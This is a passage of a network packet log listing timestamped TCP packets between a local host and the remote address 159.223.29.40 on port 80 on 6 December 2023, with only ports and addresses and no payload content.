Dec 6, 2023 14:52:14.744988918 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745033026 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745055914 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745096922 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745170116 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745210886 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745248079 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745284081 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745284081 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745321035 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745433092 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745472908 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745524883 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745562077 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745579958 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745620012 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745637894 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745687962 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745727062 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745769024 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745805979 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745852947 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745853901 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745887995 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745924950 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.745963097 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.745999098 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.746040106 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.746238947 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.746289015 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.746375084 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.746422052 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.746458054 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.746495008 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.746505976 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.746550083 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.746572018 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.746612072 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.746793985 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.746850014 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.746866941 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.746903896 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.746913910 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.746953964 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.746992111 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.747036934 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.747044086 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.747081041 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.747091055 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.747127056 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.747167110 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.747210979 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.747210979 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.747245073 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.747397900 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.747463942 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.747494936 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.747529984 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.747596979 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.747644901 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.747653008 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.747694969 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.747715950 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.747750998 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.747874022 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.747920990 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.747986078 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748037100 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.748136997 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748183966 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.748200893 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748236895 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.748338938 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748385906 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.748462915 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748507977 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.748545885 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748586893 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.748589993 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748631001 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.748666048 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748707056 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.748754978 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748800039 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.748800993 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748842955 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.748878956 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748920918 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.748944044 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.748989105 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.749072075 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.749116898 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.749224901 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.749269962 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.749305964 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.749346018 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.749392986 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.749435902 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.749471903 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.749514103 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.749535084 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.749578953 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.749597073 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.749640942 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.749663115 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.749705076 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.749742031 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.749783039 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.749824047 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.749866962 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.915441990 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.915534019 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.915961981 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.916043997 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.916058064 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.916105986 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.916136026 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.916152954 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.916429996 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.916469097 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.916479111 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.916513920 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.917432070 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.917503119 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.917629957 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.917686939 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.917718887 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.917761087 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.917774916 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.917825937 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.917866945 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.917917013 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.917958021 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918029070 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918044090 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918077946 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918102980 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918154955 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918195009 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918256998 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918276072 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918314934 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918330908 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918365955 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918385983 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918423891 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918435097 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918469906 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918493986 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918541908 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918565989 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918603897 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918615103 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918641090 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918656111 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918692112 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918870926 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918920994 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.918942928 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918982983 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.918994904 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.919045925 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.919327021 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.919364929 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.919379950 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.919411898 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.919502020 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.919549942 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.919657946 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.919708014 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.919747114 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.919786930 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.919801950 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.919826031 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.919836998 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.919881105 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.919929028 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.919976950 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920151949 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920192003 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920201063 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920231104 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920242071 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920277119 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920335054 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920382977 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920407057 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920453072 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920476913 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920523882 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920546055 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920594931 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920667887 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920727015 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920789003 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920825958 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920834064 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920867920 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920875072 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920917034 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.920942068 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920979977 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.920993090 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921031952 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921084881 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921135902 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921169996 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921216965 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921241045 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921286106 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921313047 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921360016 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921447039 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921499014 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921521902 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921571016 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921592951 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921639919 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921663046 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921700001 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921709061 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921746016 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921770096 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921821117 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921844006 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921895981 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.921916008 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.921963930 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922022104 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922058105 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922070980 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922103882 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922130108 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922171116 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922183037 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922208071 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922220945 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922255039 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922311068 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922358036 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922415972 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922461987 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922486067 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922533989 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922589064 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922638893 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922658920 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922703981 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922744036 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922795057 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922842979 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922892094 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.922935009 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.922981024 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923006058 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923046112 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923072100 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923091888 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923095942 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923137903 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923194885 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923242092 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923264980 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923310995 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923335075 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923386097 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923404932 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923453093 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923506975 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923556089 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923599005 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923645973 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923690081 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923734903 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923760891 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923808098 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923831940 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923877954 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923902988 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.923949003 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.923976898 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.924015045 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.924031973 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.924061060 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.924086094 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.924135923 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.924257040 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.924305916 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.924426079 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.924493074 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.924494028 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.924545050 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.924611092 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.924664974 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.924716949 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.924770117 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.924779892 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.924817085 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.924841881 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.924891949 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.925157070 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.925209999 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.925237894 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.925283909 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.925298929 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.925333977 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.925343037 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.925376892 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.925673962 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.925721884 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.925812006 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.925858021 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.925889015 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.925949097 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.925966978 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.926029921 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.926311970 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.926351070 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.926353931 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.926393986 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.926410913 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.926445961 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.926455021 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.926487923 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.926634073 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.926702976 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.926785946 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.926831961 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.926898956 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.926950932 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.927027941 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.927081108 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.927114010 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.927160978 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.928318024 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.928370953 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.928371906 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.928411961 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.928420067 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.928459883 CET	49725	80	192.168.2.5	159.223.29.40
